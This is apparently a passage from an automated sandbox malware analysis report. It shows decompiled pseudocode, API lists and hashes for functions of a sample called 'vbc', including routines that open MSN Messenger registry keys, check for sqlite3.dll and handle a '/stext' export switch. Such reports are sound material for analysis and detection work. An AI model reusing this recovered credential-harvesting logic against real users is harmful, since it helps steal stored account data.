                                                                                                              • String ID: /nosort$/sort
                                                                                                              • API String ID: 882979914-1578091866
                                                                                                              • Opcode ID: 37bac6c9d6653dd70bdeecbb298df2510de2a0ce3a9ae5c3ad425128252b2c66
                                                                                                              • Instruction ID: 1813cf3d9500be1981e9bba0c11058464626672cad6922460886ab76c06e8bc1
                                                                                                              • Opcode Fuzzy Hash: 37bac6c9d6653dd70bdeecbb298df2510de2a0ce3a9ae5c3ad425128252b2c66
                                                                                                              • Instruction Fuzzy Hash: 4921B071304601EFC719AF75C880A99B7A9BF08314B10017EF429A7291CB39A9628B8A
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040396C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67registryCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 100%
                                                                                                              			E0040396C(void* __eflags, void* __fp0, intOrPtr _a4) {
				char _v528;
				intOrPtr _v540;
				char _v796;
				char _v1052;
				void* _v1056;
				void* _v1060;
				int _v1064;
				void* __ebx;
				void* __esi;
				void* _t21;
				long _t23;
				void** _t24;
				long _t26;
				int _t32;
				void* _t52;

				_t52 = __fp0;
				_v540 = 0x412e80;
				E004046D7( &_v528);
				_t32 = 0;
				_v1052 = 0;
				_v796 = 0;
				_v1064 = 0;
				do {
					if(_v1064 != _t32) {
						__eflags = _v1064 - 1;
						if(__eflags != 0) {
							_t21 = E0040D5DB( &_v1052, __eflags); // executed
						} else {
							_t23 = RegOpenKeyExA(0x80000001, "Software\\Microsoft\\MessengerService", _t32, 0x20019,  &_v1060); // executed
							__eflags = _t23;
							if(_t23 != 0) {
								goto L5;
							} else {
								_t24 =  &_v1060;
								goto L4;
							}
						}
					} else {
						_t26 = RegOpenKeyExA(0x80000001, "Software\\Microsoft\\MSNMessenger", _t32, 0x20019,  &_v1056); // executed
						if(_t26 != 0) {
							L5:
							_t21 = 0;
						} else {
							_t24 =  &_v1056;
							L4:
							_t21 = E0040D4A6( &_v1052, _t24);
						}
					}
					_t32 = 0;
					if(_t21 != 0) {
						E004038CF(_t52, _a4,  &_v1052);
					}
					_v1064 = _v1064 + 1;
				} while (_v1064 <= 2);
				return E004047F1( &_v528);
			}


















                                                                                                              0x0040396c
                                                                                                              0x00403982
                                                                                                              0x0040398d
                                                                                                              0x00403998
                                                                                                              0x0040399a
                                                                                                              0x0040399e
                                                                                                              0x004039a5
                                                                                                              0x004039ae
                                                                                                              0x004039b2
                                                                                                              0x004039df
                                                                                                              0x004039e4
                                                                                                              0x00403a07
                                                                                                              0x004039e6
                                                                                                              0x004039f7
                                                                                                              0x004039f9
                                                                                                              0x004039fb
                                                                                                              0x00000000
                                                                                                              0x004039fd
                                                                                                              0x004039fd
                                                                                                              0x00000000
                                                                                                              0x004039fd
                                                                                                              0x004039fb
                                                                                                              0x004039b4
                                                                                                              0x004039c5
                                                                                                              0x004039c9
                                                                                                              0x004039db
                                                                                                              0x004039db
                                                                                                              0x004039cb
                                                                                                              0x004039cb
                                                                                                              0x004039cf
                                                                                                              0x004039d4
                                                                                                              0x004039d4
                                                                                                              0x004039c9
                                                                                                              0x00403a0c
                                                                                                              0x00403a10
                                                                                                              0x00403a1a
                                                                                                              0x00403a1a
                                                                                                              0x00403a1f
                                                                                                              0x00403a23
                                                                                                              0x00403a3c

                                                                                                              APIs
                                                                                                                • Part of subcall function 004046D7: strcpy.MSVCRT ref: 00404726
                                                                                                              • RegOpenKeyExA.KERNEL32(80000001,Software\Microsoft\MSNMessenger,00000000,00020019,?), ref: 004039C5
                                                                                                                • Part of subcall function 0040D5DB: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,?,000000FF,00000000,00000000,?,?,00000001), ref: 0040D6A7
                                                                                                                • Part of subcall function 0040D5DB: strlen.MSVCRT ref: 0040D6B7
                                                                                                                • Part of subcall function 0040D5DB: strcpy.MSVCRT(?,?), ref: 0040D6C8
                                                                                                                • Part of subcall function 0040D5DB: LocalFree.KERNEL32(?), ref: 0040D6D5
                                                                                                              • RegOpenKeyExA.KERNEL32(80000001,Software\Microsoft\MessengerService,00000000,00020019,?), ref: 004039F7
                                                                                                              Strings
                                                                                                              • Software\Microsoft\MSNMessenger, xrefs: 004039BF
                                                                                                              • Software\Microsoft\MessengerService, xrefs: 004039F1
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: Openstrcpy$ByteCharFreeLocalMultiWidestrlen
                                                                                                              • String ID: Software\Microsoft\MSNMessenger$Software\Microsoft\MessengerService
                                                                                                              • API String ID: 1910562259-1741179510
                                                                                                              • Opcode ID: a042053f0881545de1053e7963e322542f87d6f2c27a3a690180a3307b8871c0
                                                                                                              • Instruction ID: e1373b66f94ab8684edf5be4eb08dc620599410c0cc400d8dd4f2e2a864aae35
                                                                                                              • Opcode Fuzzy Hash: a042053f0881545de1053e7963e322542f87d6f2c27a3a690180a3307b8871c0
                                                                                                              • Instruction Fuzzy Hash: 4F11F6B1608345AEC320DF5188819ABBBEC9B84355F50893FF584A2081D338DA09CAAB
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040EA72 Relevance: 6.1, APIs: 4, Instructions: 52COMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 95%
                                                                                                              			E0040EA72(void* __ecx, intOrPtr* __edi, void* __eflags, intOrPtr _a4, CHAR* _a8, CHAR* _a12, intOrPtr _a16, CHAR* _a20) {
				void _v8199;
				char _v8200;
				void* __ebx;
				int _t23;
				CHAR* _t31;

				E004118A0(0x2004, __ecx);
				_v8200 = 0;
				if(_a4 == 0) {
					memset( &_v8199, 0, 0x2000);
					GetPrivateProfileStringA(_a8, _a12, 0x412466,  &_v8200, 0x2000, _a20); // executed
					_t23 = E004067DC( &_v8200, __edi, _a16);
				} else {
					memset( &_v8199, 0, 0x2000);
					_t31 =  &_v8200;
					E00406763(_t31, _a16,  *__edi);
					_t23 = WritePrivateProfileStringA(_a8, _a12, _t31, _a20);
				}
				return _t23;
			}








                                                                                                              0x0040ea7a
                                                                                                              0x0040ea85
                                                                                                              0x0040ea8b
                                                                                                              0x0040ead5
                                                                                                              0x0040eaf3
                                                                                                              0x0040eb03
                                                                                                              0x0040ea8d
                                                                                                              0x0040ea9a
                                                                                                              0x0040eaa1
                                                                                                              0x0040eaaa
                                                                                                              0x0040eabe
                                                                                                              0x0040eabe
                                                                                                              0x0040eb0d

                                                                                                              APIs
                                                                                                              • memset.MSVCRT ref: 0040EA9A
                                                                                                                • Part of subcall function 00406763: sprintf.MSVCRT ref: 0040679B
                                                                                                                • Part of subcall function 00406763: memcpy.MSVCRT ref: 004067AE
                                                                                                              • WritePrivateProfileStringA.KERNEL32(?,?,?,?), ref: 0040EABE
                                                                                                              • memset.MSVCRT ref: 0040EAD5
                                                                                                              • GetPrivateProfileStringA.KERNEL32(?,?,Function_00012466,?,00002000,?), ref: 0040EAF3
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: PrivateProfileStringmemset$Writememcpysprintf
                                                                                                              • String ID:
                                                                                                              • API String ID: 3143880245-0
                                                                                                              • Opcode ID: 55a900beb3324ae435e234628281be75478a67a5b39370e1d0f1c50bd7ccf1f7
                                                                                                              • Instruction ID: dd976746f5256500085d4a95e5c89bc7782f2e7a6919953fe2ebae93c0a04965
                                                                                                              • Opcode Fuzzy Hash: 55a900beb3324ae435e234628281be75478a67a5b39370e1d0f1c50bd7ccf1f7
                                                                                                              • Instruction Fuzzy Hash: 6F01A172800219BFEF12AF51DC89DDB3B79EF04344F0044A6B609A2062D6359A64CB68
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040B785 Relevance: 6.1, APIs: 4, Instructions: 51windowCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 96%
                                                                                                              			E0040B785(intOrPtr __eax, intOrPtr* __ebx) {
				void* __edi;
				void* __esi;
				intOrPtr _t14;
				intOrPtr _t15;
				void* _t16;
				struct HICON__* _t19;
				intOrPtr* _t23;
				void* _t25;

				_t23 = __ebx;
				_t14 = __eax;
				 *((intOrPtr*)(__ebx + 0x124)) = 0;
				 *__ebx = 0x41356c;
				 *((intOrPtr*)(__ebx + 0x258)) = 0;
				_push(0x14);
				 *((intOrPtr*)(__ebx + 0x374)) = 0;
				L004115D0();
				if(__eax == 0) {
					_t14 = 0;
					__eflags = 0;
				} else {
					 *0x417114 = __eax;
				}
				 *((intOrPtr*)(_t23 + 0x36c)) = _t14;
				L004115D0(); // executed
				_t32 = _t14;
				_t25 = 0xf38;
				if(_t14 == 0) {
					_t15 = 0;
					__eflags = 0;
				} else {
					_t15 = E00404016(_t14, _t32);
				}
				 *((intOrPtr*)(_t23 + 0x370)) = _t15;
				 *((intOrPtr*)(_t23 + 0x378)) = 0;
				 *((intOrPtr*)(_t23 + 0x260)) = 0;
				 *((intOrPtr*)(_t23 + 0x25c)) = 0;
				 *((intOrPtr*)(_t23 + 0x154)) = 0;
				_t16 =  *(_t23 + 0x258);
				if(_t16 != 0) {
					DeleteObject(_t16);
					 *(_t23 + 0x258) = 0;
				}
				 *(_t23 + 0x258) = E00406252();
				E00401000(_t25, _t23 + 0x158, 0x413480);
				_t19 = LoadIconA( *0x416b94, 0x65); // executed
				E004017A4(_t23, _t19);
				return _t23;
			}











                                                                                                              0x0040b785
                                                                                                              0x0040b785
                                                                                                              0x0040b789
                                                                                                              0x0040b78f
                                                                                                              0x0040b795
                                                                                                              0x0040b79b
                                                                                                              0x0040b79d
                                                                                                              0x0040b7a3
                                                                                                              0x0040b7ab
                                                                                                              0x0040b7b4
                                                                                                              0x0040b7b4
                                                                                                              0x0040b7ad
                                                                                                              0x0040b7ad
                                                                                                              0x0040b7ad
                                                                                                              0x0040b7bb
                                                                                                              0x0040b7c1
                                                                                                              0x0040b7c6
                                                                                                              0x0040b7c8
                                                                                                              0x0040b7c9
                                                                                                              0x0040b7d4
                                                                                                              0x0040b7d4
                                                                                                              0x0040b7cb
                                                                                                              0x0040b7cd
                                                                                                              0x0040b7cd
                                                                                                              0x0040b7d6
                                                                                                              0x0040b7dc
                                                                                                              0x0040b7e2
                                                                                                              0x0040b7e8
                                                                                                              0x0040b7ee
                                                                                                              0x0040b7f4
                                                                                                              0x0040b7fc
                                                                                                              0x0040b7ff
                                                                                                              0x0040b805
                                                                                                              0x0040b805
                                                                                                              0x0040b81b
                                                                                                              0x0040b821
                                                                                                              0x0040b82e
                                                                                                              0x0040b837
                                                                                                              0x0040b840

                                                                                                              APIs
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: ??2@$DeleteIconLoadObject
                                                                                                              • String ID:
                                                                                                              • API String ID: 1986663749-0
                                                                                                              • Opcode ID: 5f5a747c87eaa1aeb5cd63e0915bac848b59c27e35686337973b5baa3b83aa76
                                                                                                              • Instruction ID: 38da8263615bef274e7c21802c355ecfe582676222a25676d72b73c1d19d8401
                                                                                                              • Opcode Fuzzy Hash: 5f5a747c87eaa1aeb5cd63e0915bac848b59c27e35686337973b5baa3b83aa76
                                                                                                              • Instruction Fuzzy Hash: 8C1151B09056509BCF519F259C887C53BA4EB84B41F1804BBFD08EF3A6DBB845418BAC
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040787D Relevance: 5.0, APIs: 4, Instructions: 36COMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 78%
                                                                                                              			E0040787D() {
				void* _t13;
				signed int _t16;
				signed int _t18;
				signed int _t27;
				signed int _t29;
				intOrPtr _t33;

				_t33 =  *0x417540;
				if(_t33 == 0) {
					_push(0x8000);
					 *0x417540 = 0x8000;
					 *0x417544 = 0x100;
					 *0x417548 = 0x1000; // executed
					L004115D0(); // executed
					 *0x417528 = 0x8000;
					_t27 = 4;
					_t16 =  *0x417544 * _t27;
					_push( ~(0 | _t33 > 0x00000000) | _t16);
					L004115D0();
					 *0x417530 = _t16;
					_t29 = 4;
					_t18 =  *0x417544 * _t29;
					_push( ~(0 | _t33 > 0x00000000) | _t18);
					L004115D0();
					_push( *0x417548);
					 *0x417534 = _t18;
					L004115D0();
					 *0x41752c = _t18;
					return _t18;
				}
				return _t13;
			}









                                                                                                              0x0040787d
                                                                                                              0x00407884
                                                                                                              0x0040788b
                                                                                                              0x0040788c
                                                                                                              0x00407891
                                                                                                              0x0040789b
                                                                                                              0x004078a5
                                                                                                              0x004078aa
                                                                                                              0x004078b8
                                                                                                              0x004078b9
                                                                                                              0x004078c2
                                                                                                              0x004078c3
                                                                                                              0x004078c8
                                                                                                              0x004078d6
                                                                                                              0x004078d7
                                                                                                              0x004078e0
                                                                                                              0x004078e1
                                                                                                              0x004078e6
                                                                                                              0x004078ec
                                                                                                              0x004078f1
                                                                                                              0x004078f9
                                                                                                              0x00000000
                                                                                                              0x004078f9
                                                                                                              0x004078fe

                                                                                                              APIs
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: ??2@
                                                                                                              • String ID:
                                                                                                              • API String ID: 1033339047-0
                                                                                                              • Opcode ID: e7dbc0ef46db47a5b5499b4ecfc17c41b9b5310e7ca2ac67ab4a857369e887a1
                                                                                                              • Instruction ID: 98653883aa4781a1616f5f21c4e99a92f1a36013e955d8e4b32a99e29624f39b
                                                                                                              • Opcode Fuzzy Hash: e7dbc0ef46db47a5b5499b4ecfc17c41b9b5310e7ca2ac67ab4a857369e887a1
                                                                                                              • Instruction Fuzzy Hash: E6F012B1589210BFDB549B39ED067A53AB2A748394F10917EE207CA6F5FB7454408B4C
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 004060FA Relevance: 3.8, APIs: 3, Instructions: 38COMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 100%
                                                                                                              			E004060FA(signed int* __eax, void* __edx, void** __edi, signed int _a4, intOrPtr _a8) {
				void* _t8;
				void* _t13;
				signed int _t16;
				void** _t21;
				signed int _t22;

				_t21 = __edi;
				_t22 =  *__eax;
				if(__edx < _t22) {
					return 0;
				} else {
					_t13 =  *__edi;
					do {
						 *__eax =  *__eax + _a8;
						_t16 =  *__eax;
					} while (__edx >= _t16);
					_t8 = malloc(_t16 * _a4); // executed
					 *__edi = _t8;
					if(_t22 > 0) {
						if(_t8 != 0) {
							memcpy(_t8, _t13, _t22 * _a4);
						}
						free(_t13);
					}
					return 0 |  *_t21 != 0x00000000;
				}
			}








                                                                                                              0x004060fa
                                                                                                              0x004060fb
                                                                                                              0x004060ff
                                                                                                              0x0040614a
                                                                                                              0x00406101
                                                                                                              0x00406102
                                                                                                              0x00406104
                                                                                                              0x00406108
                                                                                                              0x0040610a
                                                                                                              0x0040610c
                                                                                                              0x00406116
                                                                                                              0x0040611e
                                                                                                              0x00406120
                                                                                                              0x00406124
                                                                                                              0x0040612e
                                                                                                              0x00406133
                                                                                                              0x00406137
                                                                                                              0x0040613c
                                                                                                              0x00406146
                                                                                                              0x00406146

                                                                                                              APIs
                                                                                                              • malloc.MSVCRT ref: 00406116
                                                                                                              • memcpy.MSVCRT ref: 0040612E
                                                                                                              • free.MSVCRT(00000000,00000000,74EC1245,00406B49,00000001,?,00000000,74EC1245,00406D88,00000000,?,?), ref: 00406137
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: freemallocmemcpy
                                                                                                              • String ID:
                                                                                                              • API String ID: 3056473165-0
                                                                                                              • Opcode ID: c16869745dd056c7ef743fb7ed117d9ff76353dfe782dc17f391ee5363500ee0
                                                                                                              • Instruction ID: d153bd7f556b54fa1e8e463c7175d954409fdcf13f6af5892cc53e784d19f72a
                                                                                                              • Opcode Fuzzy Hash: c16869745dd056c7ef743fb7ed117d9ff76353dfe782dc17f391ee5363500ee0
                                                                                                              • Instruction Fuzzy Hash: 9DF0E9726052219FC7089F79B98145BB3DDAF84324B11482FF546D7292D7389C50C798
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040B8D7 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 74COMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 93%
                                                                                                              			E0040B8D7(void* __edi, void* __eflags) {
				void* __esi;
				signed int _t24;
				intOrPtr _t31;
				intOrPtr _t38;
				void* _t42;
				void* _t45;
				void* _t49;
				void* _t51;
				intOrPtr _t52;

				_t54 = __eflags;
				_t49 = __edi;
				_t38 = 0;
				E004023D4( *((intOrPtr*)(__edi + 0x370)), __eflags, 0, 0);
				 *((intOrPtr*)(__edi + 0x108)) = 0;
				E00401E8B(_t54,  *((intOrPtr*)(__edi + 0x370)) + 0xb20); // executed
				_t24 =  *((intOrPtr*)(__edi + 0x37c));
				if( *((intOrPtr*)(_t24 + 0x30)) <= 0) {
					_t51 = 0x412466;
				} else {
					if( *((intOrPtr*)(_t24 + 0x1c)) <= 0) {
						_t45 = 0;
						__eflags = 0;
					} else {
						_t45 =  *((intOrPtr*)( *((intOrPtr*)(_t24 + 0xc)))) +  *((intOrPtr*)(_t24 + 0x10));
					}
					_t51 = _t45;
				}
				_push(_t51);
				_push("/stext");
				L004115B2();
				if(_t24 != 0) {
					_t52 = E0040B841(_t24, _t51);
					__eflags = _t52 - _t38;
					if(_t52 <= _t38) {
						goto L15;
					}
					goto L9;
				} else {
					_t52 = 1;
					L9:
					E0040AF17(_t49, _t38); // executed
					E0040A5AC(_t49);
					_t31 =  *((intOrPtr*)(_t49 + 0x37c));
					if( *((intOrPtr*)(_t31 + 0x30)) <= 1) {
						_t42 = 0x412466;
					} else {
						_t59 =  *((intOrPtr*)(_t31 + 0x1c)) - 1;
						if( *((intOrPtr*)(_t31 + 0x1c)) <= 1) {
							_t42 = 0;
						} else {
							_t42 =  *((intOrPtr*)( *((intOrPtr*)(_t31 + 0xc)) + 4)) +  *((intOrPtr*)(_t31 + 0x10));
						}
					}
					 *((intOrPtr*)( *((intOrPtr*)(_t49 + 0x370)) + 0x1bc)) =  *((intOrPtr*)( *((intOrPtr*)(_t49 + 0x36c)) + 0xc));
					E00409B32( *((intOrPtr*)(_t49 + 0x370)),  *((intOrPtr*)(_t49 + 0x370)), _t49, _t59, _t42, _t52); // executed
					_t38 = 1;
					E0040B0C2(_t49);
					L15:
					return _t38;
				}
			}












                                                                                                              0x0040b8d7
                                                                                                              0x0040b8d7
                                                                                                              0x0040b8e0
                                                                                                              0x0040b8e4
                                                                                                              0x0040b8f5
                                                                                                              0x0040b8fb
                                                                                                              0x0040b900
                                                                                                              0x0040b909
                                                                                                              0x0040b920
                                                                                                              0x0040b90b
                                                                                                              0x0040b90e
                                                                                                              0x0040b91a
                                                                                                              0x0040b91a
                                                                                                              0x0040b910
                                                                                                              0x0040b915
                                                                                                              0x0040b915
                                                                                                              0x0040b91c
                                                                                                              0x0040b91c
                                                                                                              0x0040b925
                                                                                                              0x0040b926
                                                                                                              0x0040b92b
                                                                                                              0x0040b934
                                                                                                              0x0040b940
                                                                                                              0x0040b942
                                                                                                              0x0040b944
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x0040b936
                                                                                                              0x0040b938
                                                                                                              0x0040b946
                                                                                                              0x0040b949
                                                                                                              0x0040b950
                                                                                                              0x0040b955
                                                                                                              0x0040b95f
                                                                                                              0x0040b976
                                                                                                              0x0040b961
                                                                                                              0x0040b961
                                                                                                              0x0040b965
                                                                                                              0x0040b972
                                                                                                              0x0040b967
                                                                                                              0x0040b96d
                                                                                                              0x0040b96d
                                                                                                              0x0040b965
                                                                                                              0x0040b98b
                                                                                                              0x0040b998
                                                                                                              0x0040b9a1
                                                                                                              0x0040b9a2
                                                                                                              0x0040b9a8
                                                                                                              0x0040b9ac
                                                                                                              0x0040b9ac

                                                                                                              APIs
                                                                                                                • Part of subcall function 00401E8B: memset.MSVCRT ref: 00401EAD
                                                                                                                • Part of subcall function 00401E8B: strlen.MSVCRT ref: 00401EC6
                                                                                                                • Part of subcall function 00401E8B: strlen.MSVCRT ref: 00401ED4
                                                                                                                • Part of subcall function 00401E8B: strlen.MSVCRT ref: 00401F1A
                                                                                                                • Part of subcall function 00401E8B: strlen.MSVCRT ref: 00401F28
                                                                                                              • _stricmp.MSVCRT(/stext,00412466,?,00000000,00000000,?,?,?,0040BAC6), ref: 0040B92B
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: strlen$_stricmpmemset
                                                                                                              • String ID: /stext
                                                                                                              • API String ID: 3575250601-3817206916
                                                                                                              • Opcode ID: ba91a629983a4474272755d1190fe0abc20447847f5b5280d74d03c064ef9f45
                                                                                                              • Instruction ID: 7d69c3f5364ef88ad9e24340ba35af89a1d621815374fdce2acadc9eabf4c73c
                                                                                                              • Opcode Fuzzy Hash: ba91a629983a4474272755d1190fe0abc20447847f5b5280d74d03c064ef9f45
                                                                                                              • Instruction Fuzzy Hash: 45213EB1614111DFC35C9B29C881D65B3A8FB45314B1582BFF91AA7292C738ED518BCD
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040EBC1 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 28registryCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 84%
                                                                                                              			E0040EBC1(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				void* _v8;
				void* _t13;
				void* _t17;

				_push(__ecx);
				_t17 = 0;
				if(E0040EB3F(_a4, _a8,  &_v8) == 0) {
					_t13 = E0040EB80(_a20, __ecx, _v8, _a12, _a16); // executed
					if(_t13 == 0) {
						_t17 = 1;
					}
					RegCloseKey(_v8); // executed
				}
				return _t17;
			}






                                                                                                              0x0040ebc4
                                                                                                              0x0040ebcd
                                                                                                              0x0040ebdc
                                                                                                              0x0040ebea
                                                                                                              0x0040ebf4
                                                                                                              0x0040ebf6
                                                                                                              0x0040ebf6
                                                                                                              0x0040ebfa
                                                                                                              0x0040ebfa
                                                                                                              0x0040ec04

                                                                                                              APIs
                                                                                                                • Part of subcall function 0040EB3F: RegOpenKeyExA.KERNEL32(80000002,80000002,00000000,00020019,80000002), ref: 0040EB52
                                                                                                                • Part of subcall function 0040EB80: RegQueryValueExA.KERNEL32 ref: 0040EB9B
                                                                                                              • RegCloseKey.KERNEL32(000003FF), ref: 0040EBFA
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: CloseOpenQueryValue
                                                                                                              • String ID: sqlite3.dll
                                                                                                              • API String ID: 3677997916-1155512374
                                                                                                              • Opcode ID: 09ba878f1838de9f7e0b7a76b1fe2726cd77335ff7e53e8db46778872d8226f7
                                                                                                              • Instruction ID: 483af3b4ea371c042065735bddaae71e4a3c68f5f6c7e24d375073366134b6e3
                                                                                                              • Opcode Fuzzy Hash: 09ba878f1838de9f7e0b7a76b1fe2726cd77335ff7e53e8db46778872d8226f7
                                                                                                              • Instruction Fuzzy Hash: 21E03972900119BBDF019F92DE06ADA7F79EF04298B000431FD06A1261E232EE30EA94
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 004047A0 Relevance: 3.0, APIs: 2, Instructions: 24libraryloaderCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 100%
                                                                                                              			E004047A0(CHAR* __esi, void* __eflags) {
				struct HINSTANCE__* _t8;
				char _t12;
				char* _t15;
				CHAR* _t17;

				_t17 = __esi;
				E004047F1(__esi);
				_t8 = LoadLibraryA(__esi); // executed
				__esi[0x200] = _t8;
				if(_t8 != 0) {
					_t12 = GetProcAddress(_t8,  &(__esi[0xff]));
					__esi[0x208] = _t12;
					if(_t12 != 0) {
						__esi[0x204] = 1;
					}
				}
				_t15 =  &(_t17[0x204]);
				if( *_t15 == 0) {
					E004047F1(_t17);
				}
				return  *_t15;
			}







                                                                                                              0x004047a0
                                                                                                              0x004047a2
                                                                                                              0x004047a8
                                                                                                              0x004047b0
                                                                                                              0x004047b6
                                                                                                              0x004047c0
                                                                                                              0x004047c8
                                                                                                              0x004047ce
                                                                                                              0x004047d0
                                                                                                              0x004047d0
                                                                                                              0x004047ce
                                                                                                              0x004047db
                                                                                                              0x004047e4
                                                                                                              0x004047e8
                                                                                                              0x004047e8
                                                                                                              0x004047f0

                                                                                                              APIs
                                                                                                                • Part of subcall function 004047F1: FreeLibrary.KERNELBASE(?,?), ref: 00404806
                                                                                                              • LoadLibraryA.KERNEL32(?), ref: 004047A8
                                                                                                              • GetProcAddress.KERNEL32(00000000,?), ref: 004047C0
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: Library$AddressFreeLoadProc
                                                                                                              • String ID:
                                                                                                              • API String ID: 145871493-0
                                                                                                              • Opcode ID: cbabdfec5215e458202f737861f40a15f802b817f3ec498c61102a043c0cc1ea
                                                                                                              • Instruction ID: bd92e302f737a6b7e7c2aa8ed3bd721d1bcdfa8038008227cdd2def65d6b9a1b
                                                                                                              • Opcode Fuzzy Hash: cbabdfec5215e458202f737861f40a15f802b817f3ec498c61102a043c0cc1ea
                                                                                                              • Instruction Fuzzy Hash: F1F039B02007028BD7209F39D84879B77E8BF85700F00853EF266E3281EB78A951CB28
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040EB0E Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • GetPrivateProfileIntA.KERNEL32(?,?,?,?), ref: 0040EB35
                                                                                                                • Part of subcall function 0040EA26: memset.MSVCRT ref: 0040EA44
                                                                                                                • Part of subcall function 0040EA26: _itoa.MSVCRT ref: 0040EA5B
                                                                                                                • Part of subcall function 0040EA26: WritePrivateProfileStringA.KERNEL32(?,?,00000000), ref: 0040EA6A
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: PrivateProfile$StringWrite_itoamemset
                                                                                                              • String ID:
                                                                                                              • API String ID: 4165544737-0
